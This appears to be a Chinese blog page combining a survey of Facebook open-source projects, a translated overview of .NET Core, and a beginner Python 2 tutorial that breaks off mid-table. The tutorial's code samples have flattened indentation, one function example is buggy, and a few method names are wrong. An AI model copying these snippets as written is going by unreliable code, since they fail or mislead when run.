  • 共享Facebook的代码(通常是软件“栈”,偶尔也包括硬件设计)促进了这个世界的创新。这些代码帮助他人更快地开发软件。因为Facebook不是一家软件公司,所以它在开源过程中没有面临竞争对手的威胁,相反,开源带来的价值在逐渐显现。用户使用Facebook的开源代码可以更快地构建应用,而他们也乐于回馈代码,使Facebook从中受益。
  • 拥抱开源,意味着Facebook必须一开始就写出更优秀的软件。如果他们知道某个软件从诞生起就要公开,那就必须要好好做,提高可用性和可靠性,因为将来外面的人都会用它。这种压力也会给公司内部带来更多的价值。
  • 开源带来了共享挑战的机会。开源项目面临的难题会吸引一些外部的优秀人员,而结果是,他们也带动了公司内部人员的能力提升。每天Facebook都承载了超过一亿人的沟通互联,何以能做到?唯有开源的力量。

下面是我整理的Facebook现有的比较活跃的开源项目列表,欢迎交流讨论。

移动开发框架:React Native

React Native是Facebook在2015年开源的基于React.js的移动开发框架,它的设计理念是让移动应用既拥有Native的用户体验,同时又可以保留React的开发效率,提高代码的复用率。React Native的宗旨是,学习一次,高效编写跨平台原生应用。开发者可以使用JavaScript编写应用,并利用相同的核心代码就可以创建Web、iOS 和Android平台的原生应用,目前已经实现了对iOS和Android两大平台的支持。

数据查询语言:GraphQL

GraphQL是Facebook开源的数据查询语言。Facebook在构建移动应用程序时,需要用API获取足够强大的数据来描述所有的脸谱,同时简单易学易用,于是开发了GraphQL,并支持每天千亿级的调用。GraphQL不是像MySQL或Redis这样直接面向数据的接口,而是面向已经存在的应用代码的接口。你可以把GraphQL看作是为了调用应用服务器上的方法的一些内嵌的RPC。

大数据查询引擎:Presto

Presto是Facebook开发的一款分布式SQL引擎,主要用于针对各种大小的数据源(从GB到PB)来运行交互式分析查询。Facebook创建Presto的主要目的在于帮助他们更快地分析数据,因为Facebook的数据量一直在持续增长,产品周期的节奏也变得越来越快。自从2013年11月开源后,Presto的用户量呈现了爆发式增长。诸如Airbnb、京东、Dropbox以及Netflix等公司都将Presto作为自己的交互式查询引擎。

PHP执行引擎:HHVM

HHVM(HipHop Virtual Machine)是Facebook于2013年开源的PHP执行引擎。它采用一种JIT(just-in-time)的编译机制实现了高性能,同时又保持对 PHP 语法的充分支持。HHVM常常用作独立的服务器,用于替代Apache与mod_php,旨在执行使用Hack与PHP所编写的程序。它使用了即时编译方法来实现超高的性能,同时又保持了PHP开发者所习惯的灵活性。

JavaScript库:React

React是Facebook开发的用于构建用户界面的JavaScript库,现已为很多公司所用,因为它采用了一种不同的方式来构建应用:借助于React,开发者可以将应用分解为彼此解耦的独立组件,这样就可以独立维护并迭代各种组件了。2015年,React有两个主要的发布,同时还发布了React Native,并且发布了新的开发者工具。现在已经有越来越多的公司(包括Netflix与WordPress)开始使用React构建自己的产品了。

键值存储系统:RocksDB

RocksDB是Facebook开源的嵌入式、可持久化键值存储系统,它基于Google的LevelDB,但提高了扩展性可以运行在多核处理器上,可以有效使用快速存储,支持IO绑定、内存和一次写负荷。过去一段时间,RocksDB在社区非常流行,Facebook分析其原因在于它能够对由于网络延迟等原因造成的慢查询响应时间起到消除的作用,RocksDB非常灵活,完全可以针对各种新兴的硬件发展趋势进行定制。LinkedIn与Yahoo都是RocksDB的重度使用者。

人工智能硬件平台:Big Sur

近些年,人工智能和机器学习方向取得了长足的发展。据Kevin Lee透露,Facebook的AI软件已经能够阅读故事、回答相关场景的问题、玩游戏以及通过一些例子来学习非指定的内容。作为计算密集型的应用,AI软件的性能与数据集规模/硬件性能密切相关。尤其是硬件方面,高性能微处理器、存储器以及图形处理器(Graphics Processing Unit,GPU)的发展为AI算法的快速运行提供了坚实基础。为了进一步更好地服务大规模AI计算,Facebook推出了基于GPU的、用于训练神经网络的“Big Sur”硬件系统。

了解更多:http://www.infoq.com/cn/news/2015/12/Facebook-BigSur-OpenSource

网络模拟测试工具:ATC

Augmented Traffic Control(ATC)能够利用Wi-Fi网络模拟2G、2.5G(Edge)、3G以及LTE 4G移动网络环境,测试工程师们可以快速在各种不同的模拟网络环境中切换,从而实现对智能手机和App在不同国家地区和应用环境下的性能表现进行测试。ATC是Facebook内部团队在2013年的一次Hackathon活动上开发出来的工具,其原理实际是利用了Linux流量控制系统,通过纯Python的网络库pyroute2调用netlink的API控制,而开发其的目的是为了确保更多的用户获得最好的应用体验。

开源数据库:HydraBase

HydraBase是HBase数据库的升级版。Facebook是HBase的重度用户,Facebook的HBase数据库系统存储着Facebook的很多关键业务数据,包括内部监控系统、搜索索 引、流数据分析以及数据抓取等。HydraBase相比HBase稳定性和可用性更高,可以减少服务器宕机时间。HydraBase能够让一个数据域分布在多个域服务器中,域服务器之间能相互备份,因此能够大大减少数据恢复所用的时间。Facebook声称HydraBase能将Facebook全年的宕机时间缩减到不到5分钟。

Facebook已经将HydraBase捐赠给Apache,目前很多代码都已经被合并到HBase中。

关系型数据库:WebScaleSQL

WebScaleSQL是基于MySQL 5.6 社区版本改编的MySQL通用分支,基于GPL开源协议发布。WebScaleSQL目前已经做了很多性能改进工作,包括:客户端异步协调、逻辑预读、查询限流、服务端线程池优化、InnoDB大页支持等等。WebScaleSQL上的功能都是很“Web Scale”和接地气的。比如线程池优化,WebScaleSQL基于Mariadb的线程池实现进行重写并优化,对读写队列进行分离,重新设计队列优先级策略,避免了饿死现象。要知道线程饿死在有些场景下是很严重的。尤其是在并发连接数往往很大的互联网应用里面。

代码审查工具Phabricator

代码审查方面,Facebook开源了可视化工具Phabricator。工程师可以在页面上非常方便的针对每一段(单行或者多行)代码进行交互讨论;负责审查的工程师可以接受代码改变,可以提出疑问要求原作者继续修改,可以提出自己不适合以推出该代码审查,等等。只有代码被明确接受之后才能被工程师提交到服务器端的代码库,这一点集成到提交工具中强制执行。

C语言事件框架:libPhenom

libPhenom是Facebook发布的一个C语言事件框架,用于构建高性能和高可扩展的系统。支持多线程、提供内存管理和常用数据结构、JSON处理。特性如下:

  • 带有计数器的内存管理——记录应用程序正使用的内存类型的次数
  • 工作——分解你的应用程序并用调度管理来搞定它们
  • 带缓冲的I/O流
  • 常用的数据结构(哈希表、列表、队列)
  • 数据类型的变种来使能JSON的序列化和反序列化
  • 带有注册对象格式的printf的实现
C++HTTP框架:Proxygen

Proxygen是一款Facebook开源的支持SPDY 3.1的HTTP框架。其目的不是替换Apache,而是有能力创建一个专用的高性能Web服务器,使其可以嵌入到Facebook提供Web服务的现有应用中。Facebook从2011年开始构建一款代理服务器(Proxygen这个名字也是由此而来),在该项目演进并在生产环境中测试了数年之后,Facebook将其代码开源了。 Facebook内部做的基准测试表明,在一个Proxygen echo服务器上,每秒可以支撑多达304 197次基于SPDY 3.1的内存GET请求。

开源动画库:Pop

Pop是Facebook推出的一个可扩展的iOS 和OS X动画库,其新闻聚合阅读应用Paper背后的核心技术就是由Pop支持。除了增加基本的静态动画外,还支持Spring和衰变动态动画,可非常方便的构建现实的、基于物理的交互。Pop动画库的动画效果非常流畅,因为它使用了CADisplayLink来刷新画面(帧),一秒钟刷新帧数为60帧,接近于游戏开发引擎。Pop动画的自成体系,与系统的CoreAnimation有很大的区别,但使用上非常相似。

Memcached协议路由器:Mcrouter

Mcrouter 是一个基于Memcached 协议的路由器,它是 Facebook缓存架构的核心组件,在峰值的时候,它能够处理每秒50亿次的请求。Memcached服务的客户端都会使用标准ASCII编码的Memcached协议,所以对于客户端来说,Mcrouter就像一个Memcached服务器;而对于服务器端来说,Memcached却又像一个普通的Memcached客户端。Mcrouter主要使用C++开发,且使用C开发了功能库部分,使用Ragel开发了协议解析部分,使用开源库Folly和Fbthrift处理异步网络。

静态代码分析工具:Infer

Infer是Facebook的开发团队在代码提交内部评审时,用来执行增量分析的一款静态分析工具,在代码提交到代码库或者部署到用户的设备之前找出bug。由OCaml语言编写的Infer目前能检测出空指针访问、资源泄露以及内存泄露,可对C、Java或Objective-C代码进行检测。Facebook使用Infer自动验证iOS和安卓上的移动应用的代码,bug报告的正确率达80%。Infer通过捕获编译命令,把要被编译的文件转换为可用于分析潜在错误的中间语言格式。整个过程是增量进行的,意味着通常只有那些有修改过并提交编译的文件才会被Infer分析。Infer还集成了大量的构建或编译工具,包括Gradle、Maven、Buck、Xcodebuild、clang、make和javac。

操作系统监控工具:osquery

osquery是一款面向OSX和Linux的操作系统检测框架。它将操作系统暴露为一个高性能的关系型数据库,允许用户编写SQL查询查看操作系统数据。在osquery中,SQL表代表像下面这样的抽象概念:

  • 正在运行的进程
  • 已加载的内核模块
  • 打开的网络连接

虽然osquery利用了非常底层的操作系统API,但它允许用户在Ubuntu、CentOS和Mac OS X上构建并使用它。osquery性能极高,内存占用小,支持用户在整个基础设施上执行查询。

  • GitHub主页:https://github.com/facebook/osquery
  • Star数量:6209
JavaScript静态类型检查工具:Flow

Flow是Facebook出品的一个JavaScript代码的静态类型检查工具,该工具采用开放源码的OCaml(Objective Caml)语言开发,。Flow能够帮助开发人员查找出JavaScript代码中的类型错误,从而提高开发效率和代码质量。Flow已经能够捕获JavaScript代码中的常见问题,如静态类型转换不匹配、空指针引用等问题。同时,Flow还为JavaScript新增了类型语法,如类型别名。

Haskell库:Haxl

Facebook开源了Haxl,一个为高效并发数据访问而开发的库。这个库
一方面利用了Haskell的传统优势,比如表达力很强的类型系统、对正确性和安全性的保障,另一方面也受益于GHC(Haskell编译器)的高性能运行时库,解决烦人的隐式并发数据访问的问题。Haxl简化了对远程数据的访问,比如数据库或网站服务。对同一数据源的多个访问请求,或同时从不同的数据源请求数据,它都能批量处理,并且缓存上一次的结果。

Web应用架构:Flux

Facebook认为MVC无法满足他们的扩展需求,因此他们决定使用另一种模式:Flux。由于Facebook非常巨大的代码库和庞大的组织,所以MVC真的很快就变得非常复杂,于是他们得出结论,认为MVC不适合于大规模应用。

每次Facebook工程师努力增加一项新特性时,系统的复杂性成级数增长,代码变得“脆弱和不可预测”。对于刚接触某个代码库的开发人员来说,这正成为一个严重的问题。Flux是一个Facebook开发的、利用单向数据流实现的应用架构,用于 React。Flux应用有三个主要的部分组成:调度程序、存储和视图(React 组件)。

JavaScript单元测试工具:Jest

Jest是一个开源的、基于Jasmine框架的JavaScript单元测试工具。Jest源于Facebook两年前的构想,用于快速、可靠地测试Web聊天应用。它吸引了公司内部的兴趣,Facebook的一名软件工程师Jeff Morrison半年前又重拾这个项目,改善它的性能,并将其开源。

在最基础层面,Jest被设计用于快速、简单地编写地道的JavaScript测试。Jest自动模拟require()返回的CommonJS模块,并提供了包括内置的测试环境Dom API支持、合理的默认值、预处理代码和默认执行并行测试在内的特性。通过在并行进程中同时运行测试,Jest让测试更快地结束。

基于Atom的开发工具集:Nuclide

Nuclide是Facebook 推出的一套基于Atom的开发工具集,用于开发基于Hack的Web应用,提供自动完成和JavaScript类型检查,内建React开发支持,并支持Facebook最新的React Native库,支持Facebook的Flow JavaScript类型检查器。Nuclide的设计目是为了在整个公司为工程师提供一套标准的开发者经验——无论他们从事纯iOS应用,React和React Native代码,或者在Hack运行我们的HHVM网络服务。

Android调试工具:Stetho

Stetho是一个Android应用的调试工具。当Android应用集成Stetho时,开发者可以通过访问Chrome,在Chrome Developer Tools中查看应用布局、网络请求、sqlite、preference等等,可视化一切应用操作(更重要的是不用root)。开发者也可通过它的dumpapp工具提供的命令行接口来访问应用内部。

Android编译工具:Buck

Buck受到了Google Blaze的启发,创建它是为了处理与多个Android库有复杂关联的应用程序,从而减少构建时间。引入Buck之后,Facebook开发的四种本地Android应用程序中使用了单一的代码树和构建工具,这让开发更简单、更流畅,错误更少。最初的38个库在四种应用程序之间共享了500个模块。使用Buck替换了最初基于Ant的系统之后,第一次针对代码树运行时,构建时间就从3分40秒降到1分30秒。

相比传统的Android编译工具,Buck凭借多核及并行技术,极大加速了Android工程的编译速度。同时,多次编译过程中,它会对未变动的模块进行标记,以增量式编译的方式进一步提高速度。Buck自带编译脚本生成功能,并提供编译过程中单元测试的代码覆盖率等数据表单,还为无法用Ant工具编译的模块提供了便捷的编译方式。Buck跟IntelliJ结合紧密,可通过简单的编译脚本生成该IDE可用的工程,极大降低了本地IDE开发后向服务器迁移的成本。

弹簧模型Java库:Rebound

Rebound是一个弹簧模型Java库,由Facebook于2013年10月在Mobile@Scale大会上发布,旨在应用中引入真实的物理世界,创建让人感觉很接近自然的动画。Rebound不是通用物理库,但是,弹簧模型能够驱动各种各样的动画。Rebound的简单特性使它很容易被集成,以及作为构建块创建如呼叫、滚动条和切换开关等复杂组件。

移动应用交互设计工具:Origami

现在App的原型设计越来越复杂,以前使用PhotoShop制作静态图的方式不能满足各种交互效果的展示,Paper的首席设计师Mike Matas在加入Facebook之初就推荐大家使用Quartz Composer来快速构建应用原型,而Facebook的设计团队也很快接收并喜欢上了这个工具,在随后的应用,他们遇到了一个问题:对于产品设计师来说,Quartz Composer 的学习曲线太高。

于是Mike就带头开发了Origami。2013年12月,Facebook 开源了基于 Quartz Composer 的插件Origami,设计师可以通过 Origami 能够快速构建移动应用交互原型,随后交付给工程师实现,值得注意的是 Origami 无需编程背景,新发布的 Paper 从项目设计之初所有的原型设计都是采用 Origami 来实现。

UI测试工具:huxley

Huxley 是一个基于Python用于Web应用UI测试的工具,Huxley可以录下UI操作过程,并回放自动测试。自动测试时和UI基准对比,UI不符合预期时,会保存变化的 UI 并警告你。

Facebook iOS UI工具:ComponentKit

ComponentKit 使用功能性和声明性(declarative)的方法来进行创建界面,和以往不同的是,ComponentKit 使用单向数据流的形式从不可变的模型映射到不可变的组件来确定视图的显示方式。ComponentKit 的 declarative 看上去和 declarative UI(QML) 差不多,其实差得远。QML 更偏向于 UI 设计的描述性,而 ComponentKit 则是做好基本 UI 和事件之间的联系,让事件设计和 UI 设计可以分开单独完成。

iOS内存监测工具:FBMemoryProfiler

FBMemoryProfiler是Facebook开源的一款用于分析iOS内存使用和检测循环引用的工具库。

手机设备的内存是一个共享资源。应用程序可能会不当的耗尽内存、崩溃,或者遭遇大幅度的性能降低。当分配了一块内存,并设置了对象之后,如果在使用完了之后忘记释放,这就会发生内存泄露。这意味着系统是无法回收内存并交予他人使用,这也最终意味着我们的内存将会逐渐耗尽。

在Facebook,有很多工程师在代码库的不同部分上工作。这不可避免的会发生内存泄露。当发生内存泄露之后,工程师需要尽快找到并修复它们。一些工具已经可以找到内存泄露,但是它们需要大量的人工干预。自动化可以在不需要更多开发者的情况下,更快的找到内存泄露。为了解决这个问题,Facebook做了一套工具来自动化的处理和修复代码库中的一些问题,这个工具就是FBMemoryProfiler。

.Net Core[译文]

文章概览:

什么是.Net Core平台?

.Net Core是一个模块化的,跨平台的,开源实现的.Net Framework,它可以在Windows设备上运行,也可以在Linux和OS X上运行。不同于传统的.Net Framework(特点:庞大的,系统级的,是一个只能跑在Windows上的运行时环境),你可以用.Net Core创造以多平台为目标的组件化的库和应用程序,并且.Net Core可以与应用程序一起部署。

.Net Core特性

让我们从宏观上看看.Net Core的特性

跨平台支持

.NET Core 应用程序可以同时跑在32位和64位的Windows平台上,也可以跑在OS X和Linux上。

相反的,基于传统.Net Framework编写的应用程序只能跑在Windows上。注意的是UWP通用应用程序借助.Net Core的实现,也只能跑在Windows桌面程序,平板和Windows phone手机上。

开放源代码

.Net Core的RunTime(CoreCLR)和基础类库都是开放源代码的,另外.Net Core的源代码都是免费获得的,这些意味着:

  • 设计注释,功能规格,还有特定实现文档都是公开的
  • .Net Core的代码评审(Code review)是公开的
  • 您可以通过使用GitHub的提供的功能,将bug公开,对源代码提出您的建议,而且你可以提交新特性的请求,或者你自己写的代码都可以提交。
  • 你也可以下载所有的源代码在你的机器上编译。Runtime与基础类库,还有一些工具可以在任何平台上编译。

改善的Console App

传统的.Net Framework可以在Windows上创建运行创建控制台apps,.Net Core同样可以,但是.Net Core改善了控制应用程序:

  • 跨平台:控制台程序可以跑在Windows,OS X和Linux
  • 原生编译:将托管程序的好处与原生C/C++应用程序的性能相结合

安装简单

因为.Net Core不是一个操作系统的组件,现在安装:

  • 不需要管理员权限
  • 不需要触碰系统组件了,也就是说不需要向操作系统的系统目录和注册表中写文件了
  • 复制一些文件到目标计算机更简单了,或者将原生framework编译进你的app。

这样,新的开发者不到一分钟就可以入门.Net了,包括下载Framework和tools。可以从这里

部署简单

作为运维人员,去部署一个开发部门给你的.Net应用程序的时候,你首先要做的就是去服务器检查.Net framework版本是否符合要求,如果不符合就需要安装一个能运行这个程序的基础版本,这些会给运维人员带来很大的困扰
相比之下,。Net core有两种发布部署方式:

Portable Apps

在部署一个portable app的时候,你除了.Net Core库之外,只需要部署你的程序和它的依赖就可以。
在目标机器上为了将Portable Apps跑起来需要安装.Net Core。你不需要提前去考虑你的app支持哪个平台,因为.Net Core就是一个独立的组件。
在.Net Core里,Portable Apps是默认的程序类型。

Self-contained Apps

Self-contained apps包含了所有的依赖,.Net Core runtime也会作为软件的一部分.由于你的APP中内置了.Net Core,所以不管你要部署的那台机器上安装没安装.Net Core都可以运行,而且就算之前的机子上有人安装了.Net Core,你的.Net Core类库也是与别人的.Net Core类库隔离开的。
这种方式的前提得是你的程序里内置了对应平台的.Net Core,比如你要在OS X上部署,你的APP里需要内置OS X对应的.Net Core,如果你内置的.Net Core是Linux版本的,那你就不能在OS X上边部署,这就要求你必须先考虑好,你的应用程序面向的平台。

.Net Core组件(Components)

和传统的.Net Framework非常像,.Net Core由一个叫CoreCLR的公共语言运行时(Common language runtime)组成。和.Net Framework一样,.Net Core中关键的也是类库。.Net Core关键的是CoreFX,这是一个模块化的类库集,而非单一的.Net framework类库。这样就可以你的程序需要什么库就加载什么库,不需要的不会加载。

公共语言运行时(The Common Language Runtime)

.Net Core中的公共语言运行时——CoreCLR是一个轻量级的运行时,提供了好多和传统.Net Framework的运行时相同的服务。这些相同的服务包含:

  • 一个垃圾回收器,它提供了内存自动管理。垃圾回收器按需分配和释放内存;你不必通过程序去做这些。不像C++,需要自己去管理操作内存的分配和释放。.Net Core也用了和.Net Framework相同的垃圾回收器,更多信息请访问Garbage Collection
  • 一个just-in-time(JIT)编译器,编译IL或者.Net中间语言(intermediate language)到机器码。在某些架构中,JIT编译器支持SIMD硬件加速。
  • 一个异常处理机制,允许你通过try/catch语句处理异常。

类库(The Class Library)

.Net Core的类库与.Net Framework的类库除了有一处主要的不同点之外,其余的非常相似。
不同在于:
传统的.Net Framework有很多类库是属于操作系统的一部分,并且它是通过Windows 自带的Windows update更新。
在.Net Coe中,它是按照功能组织的模块的个人库。

Microsoft.NetCore.App 被包含在runtime里边了,它包含了开发所有APP基本的类型,这些类型包括:

  • 基础类型,比如bool类型,签名与不签名的整型,浮点型和char结构
  • String类型:在.Net Core中,一个字符串是UTF-16编码单元的序列。.Net Core还包括了许多编码类型,这些编码类型可以允许你将UTF-16编码字符串转换成其他编码的字节数组,例如:你可以用UTF8Encoding class将.Net Core的string字符串转换成utf-8编码的字节数组,用来表示Linux上的string字符串。
  • 任务类型,例如TaskTask,用来支持异步编程。
  • 基本的线程类型
  • Console Class,用来支持开发console apps.

另外的一些库,需要通过Nuget包来安装

.Net Core工具(.Net Core Tools)

.Net Core包含了一个跨平台的命令行SDK,名字叫做.Net Core CLI(Command-Line Interface).这个CLI是编写.Net Core应用程序的一组对Unix友好的工具。它让C#编译器和Nuget包管理工具变得抽象,变得抽象的意思是你感觉不到编译器和包管理工具的存在,应用程序就编写好了。他同样可以与.Net原生工具紧紧集成在一起来产生高性能的原生app和库。
CLI带来的好处是开发者可以不用安装大型的IDE就可以编译和测试他们的代码,这在不是自己的电脑或者生产服务器上是极好的。visual studio code与visual studio在底层都是用的CLI,你可以根据你的需要选择不同的IDE.比如你可以直接通过文本器来使用CLI,或者你可以用IDE开发,编辑器内部调用CLI.

大多数情况下,你直接使用.Net Core CLI就是通过给dotnet.exe 提供参数,下边是dotnet.exe可以使用的命令:

  • dotnet --help:显示关于.Net Core CLI命令行的信息
  • dotnet new:初始化一个C#项目
  • dotnet new --lang F#:初始化一个F#项目
  • dotnet restore:为你的app还原所有的依赖
  • dotnet build:编写一个.Net Core app
  • dotnet publish:发布一个portable或者self-contained app。(查看【部署简单】章节)
  • dotnet run:从源代码中运行app
  • dotnet pack:在你的app中创建一个Nuget包

    dotnet.exe有扩展模型,允许你添加额外的命令。

语言支持和开发环境(Language Support and Development Environments)

.Net Core是语言无关的:任何以.Net Core为目标的语言都是可以用来开发.Net Core应用程序的,通过不同的编程语言开发的app,用其中的一种语言即可无缝地访问类型与成员。

当前,你可以用下边的两种语言的任意一种开发:

我们打算在未来支持更多的语言。
你有多种开发环境可以选择用来编写app,包括:

.NET Core and the .NET Framework

为了更好的感知.Net Core是什么,将它与.Net framework相比较:

.Net Core

包含CoreCLR,一个可提供基础服务的轻量级运行时(runtime),尤其自动内存管理,垃圾回收器,还有一个基础的类型库。

包含了CoreFx,一套个人模块化组装,你可以安装需要将其添加到你的app中,与.Net Framework 4.x不同,.Net Framework 4.x总是使整个.Net Framework类库可用,.Net Core只需选择你想要的。例如,如果你正在开发一款基于矢量的应用,你可以下载System.Numerics.Vectors包,而不是需要一个很大类库的花销,这样可以显著的减少你app的体积和他的依赖项。

适用于各种各样的现代应用程序,对内存和储存有限制的小型设备起作用

可以利用若干的技术来开发应用,比如asp.net core
开发web应用,Windows communication Foundation(WCF)

开发与现有的WCF服务相关联的应用,workflow foundation(WF)构建工作流。

可以变成app本地。换句话说就是.Net Core版本可以紧紧与你的app相结合,这可以减轻好多版本问题。

.NET Framework 4.x

包含公共语言运行时(CLR),一个相当大的运行时,可以提供内存管理,隔离应用程序域(application domain),大量的应用程序服务。

包含了.Net Framework类库,这个类库包含了成千上万个的类与成员,不仅非常大而且又是一个整体,不论你的app用了单个类型或者他们的成员(或者大多数app利用了一小部分函数),他们都是始终加载并且可以随时访问的。

适用于传统的Windows桌面应用程序,包括Windows forms(winforms)和Windows Presentation Foundation(WPF)应用程序,可以运用许多技术来开发应用程序,例如,ASP.NET和ASP.NET Web Form构建web应用程序,Windows Communication Foundation (WCF)构建包含soap的服务,Workflow Foundation (WF), 构建工作流。

在一个给定系统中全局可用。换句话说,即使一个app中包含了一个特定版本的.Net Framework安装器,但是假如安装器发现它不存在还是会安装完整的.Net framework,并且会独立于app维护。这就会产生版本问题,特别地是一个app遭遇了一个没有预想的版本,或者一个app跑在了之前没有开发的.Net Framework版本上。
从Windows8开始,.Net Framework作为操作系统的一个组件安装,并且通过Windows update升级。对于不同的Windows里边内置不同的.Net Framework版本,更多的信息请访问.NET Framework System Requirements.

总结:

虽然.Net Framework 4.6.2预览版和.Net Core是面向不同的平台,代表着不同的app开发和部署方法,但是他们都遵守 .Net标准1.5。这意外着他们彼此能够提供一个高度的兼容性与统一行为。尤其:

  • 有经验的.Net 开发者想要开发不同设备和平台的应用程序的时候,可以很容易适应.Net Core的开发。
  • .Net Core开发者可以很容易的过渡到用.Net Framework开发Windows桌面程序、平板和手机的方式上。
  • 用.Net Framework或者.Net Core写的类库可以很容易的在另外一个平台工作。

.Net Core具体实现(implementations)

许多的开发技术依赖.Net Core的可定制实现。当你用这些技术开发Apps的时候,你也许不会意识你是在利用.Net Core的好处:

  • ASP.Net Core.ASP.Net Core是一个模块化的asp.Net版本,它结合了ASP.NET MVC and ASP.NET Web API.它可以同时运行在.Net Framework与.Net Core上边,它被设计用来构建高性能的云和微型服务;在.Net Framework中,它不是打算作为asp.net的替代者的。有关更多的ASP.Net Core信息,请访问Introduction to ASP.NET Core.
  • .NET Native。对于用C#和Visual Basic编写的Universal Windows Platform (UWP)应用程序,.NET Native是一个编译和部署技术。.Net Native将Apps编译成原生代码,静态资源文件放入应用程序集中,这些都是.Net Core和另外一些第三方的正在使用的代码。有关更多.Net Native的信息请访问Compiling Apps with .NET Native.
  • Universal Windows Platform (UWP) apps。Universal Windows Platform允许你构建一个运行在Windows桌面,Windows平板设备,Windows phone手机上的app。这些应用可以上传到Windows store中。UWP 应用程序通过.Net Native为他们各自的平台编译原生代码,有关更多的信息,请访问 Get started with Windows apps

原文:https://dotnet.github.io/docs/getting-started/what-is-dotnet.html

180分钟的python学习之旅

最近在很多地方都可以看到Python的身影,尤其在人工智能等科学领域,其丰富的科学计算等方面类库无比强大。很多身边的哥们也提到Python非常的简洁方便,比如用Django搭建一个见得网站只需要半天时间即可,因此也吸引了我不小的兴趣。之前相亲认识过一个姑娘是做绿色环保建筑设计行业的,提过她们的建筑物的建模也是使用Python,虽然被女神给拒绝了,但学习还是势在必行的,加油。

这部分只涉及python比较基础的知识,如复杂的面向对象、多线程、通信等知识会放在之后的深入学习中介绍,因此整个学习过程也将非常的快速,3-5个小时完全足够了。

 

Python是一种面向对象、解释型计算机程序设计语言,由Guido van Rossum于1989年发明,第一个公开发行版发行于1991年。是纯粹的自由软件,源代码和解释器CPython遵循GPL协议。其设计哲学是优雅、明确、简单,最NX的是其专用的科学计算扩展库,NumPy、SciPy和matplotlib等,可以很大程度的替代MATLAB的作用。作为一种解释性语言,其源码通过虚拟机编译为字节码文件,通常为.pyc格式。其通常版本包括2.x和3.x,前者仍然是主流,后者正在不断发展中,本部分的学习将使用2.x版本。此外,比较有意思的一点是,Python是强制缩进的语言,如果换行后不缩进,会报错。

Python版本选用2.7.11,下载地址:https://www.python.org/downloads/

集成开发环境使用:Sublime,下载地址:http://www.sublimetext.com/。相关环境搭建请见:Sublime快速上手

 

  • 变量
基本数据类型 存储内容 示例
integer(int) 整数 1,6,-3
float 浮点数 3.14
long 非常大的整数 100000004
string 字符串 “Hello World”
list 列表 [1,2,3]
tuple 元组,广义表 (”hello”, 5)
dictionary 字典 {‘name’:’xionger’,’grade’:2}

常见的运算符包括:+,-,*,/,%;特殊的有://,Floor除法;-,取反;abs(),绝对值;**,求幂等。

常见的比较运算包括:==,!=,>,<,>=,<=。

字符串常见操作

函数 功能
.upper()/lower() 把所有字母转化为大写/小写
.capitalize() 把字符串首字母答谢,其他小写
.title() 把首字母和每个空格或标点符号后的字母大写,其他小写
=, +, * 字符串的赋值,拼接,重复
== 字符串的比较
\n, \\ 转义字符
.strip(),.rstrip(),.lstrip() 去除字符串两端空格,或指定字母
.() 字符串长度
.find() 查找子串,返回第一个满足的位置索引
.replace(“a”, “b”) 字符串替代

Tip:一个关于utf-8的问题,添加之后注释即可:#! usr/bin/python #coding=utf-8

 

  • 逻辑结构
逻辑结构 示例
判断 if a > 5: print(“great”) else: print(“equal or less”)
异常处理 try: 5/0 except: print(“Please don’t do that”)
循环 for i in range(5):

if i == 0:

   continue

if i == 3:

   break

while not age.isdigit() Print ‘sorry’

While True

 

  • 集合对象

列表相关操作

操作 解释或示例
创建列表 fruit=[‘apple’, ‘strawberry’, ‘pear’, ‘papaya’]
.len(), .count() 列表总项数;统计某一项的总数量
.index() 返回某项在列表中第一次出现的位置
‘pink’ in color_list 判断该项是否在列表中
.append(),.extend() 添加新项到列表;扩展列表,附加后一个列表到前一个列表
Fruits[0] 根据索引获得指定项
.remove(xx),.insert(index, xx) 根据索引删除指定项;插入某项到指定位置
+, * 合并列表和复制列表成员
.reverse(), .sort() 反转列表;按字母排序列表
==, != 列表比较
range(7),range(-5,5,2) 生成数字列表,参数分别为:初始值,结束值,步长

字典相关操作

操作 解释或示例
创建字典 person = {‘xionger’:’2b’, ‘xiongda’:’god’}
person[‘xionger’] 根据key获取字典中的值
.pop() 弹出某项并从字典中删除
.has_key(), in 判断该key是否存在
.keys(), .values() 通过列表,显示所有的key/value

 

  • 函数、类与对象(继承)

一个简单的函数示例如下:

1 def get_seat_total(seat=1):
2 total=0
3 for dish in seat:
4 total = total + dish
5 return total

一个简单的类和对象使用示例(封装)如下所示:

复制代码
 1 class Student(object):
 2 def __init__(self, name, grade, distinct):
 3 self.name =name
 4 self.grade=grade
 5 self.distinct=distinct
 6 def printName(self):
 7 print self.name
 8 
 9 def main():
10 student01 = Student("xionger", 2, "SH")
11 student01.printName()
12  
13 if __name__=="__main__":
14 main()
复制代码

类中常见可重写方法(多态)列表

可重写方法 解释
__init__(self): 构造函数,__new__也可以
__eq__/__ne__(self, other): 比较相等与不等
__gt[e]__/__lt[e]__(): 比较大小
__str__: Print输出,类似ToString()

继承的简单示例如下:

1 class Book(InventoryItem):
2 def __init__(self, title, price):
3 super(Book, self).__init__(title=title)
4 self.price=price

Tip:由此可以看到,python完全符合面向对象的思想,实现了OO的封装、继承、多态三大特性。

 

  • 输入输出与文件I/O
函数 功能
Input() 收集输入信息
Raw_Input() 收集任何非数字的信息
Float(), int() 转化为浮点数或整型
Getpass() 获取密码,需要导包 from getpass import getpass
print “Hello {word}”.format(word=”World”) 格式化输出

文件和目录相关IO操作(包括json)的示例如下所示:

操作 示例
从文件读取数据
f=open('car.json')
car = f.readlines()
f.close()
把数据写入文件
f=open('car.json', 'r+w')  #需要注意'w'会擦除所有数据,r+w会覆盖数据
f.write('test')
f.close()
添加数据到文件
f=open('car.json', 'a') #使用a表示append不会擦除数据,而是会添加到末尾  
f.write('test')
创建文件
f=open('car.json', 'w+')
文件列表
current_dir=os.getcwd(), os.listdir(current_dir)
在目录间移动
class_dirs=os.walk('.')
print class_dirs.next()
创建目录
os.makedir(), os.makedirs()
获取文件信息
print os.stat('car.json')
读取json文件
import json
f=open('car.json')
car = json.load(f)
print type(car)
打印json
print json.dumps(car, indent=2)
把对象保存为json
json.dump(vars(stu), f, indent=2),注意dump与dumps的区别
嵌套的对象转化为json
    def get_JSON_dict(self):
        d=vars(self)
        student_list=[]
        for student in self.students:
            student_list.append(vars(student))
        d['students']=student_list
        return d

 

  • 模块和文档

模块导入方式: import module; from module import class; from module import function;from module import *。

常见模块包括:random,生成随机数;os,用于与操作系统交互;json,用于生成和读取JavaScript Object Notation(JSON);sqlite3,用于创建、编辑和读取sqlite3数据库;datetime,用于操作时间和日期;getpass,用于获取用户敏感信息的包。之后通过一个列表了解最常见的类库方法。

函数 解释或示例
randint(a,b)/random(x)

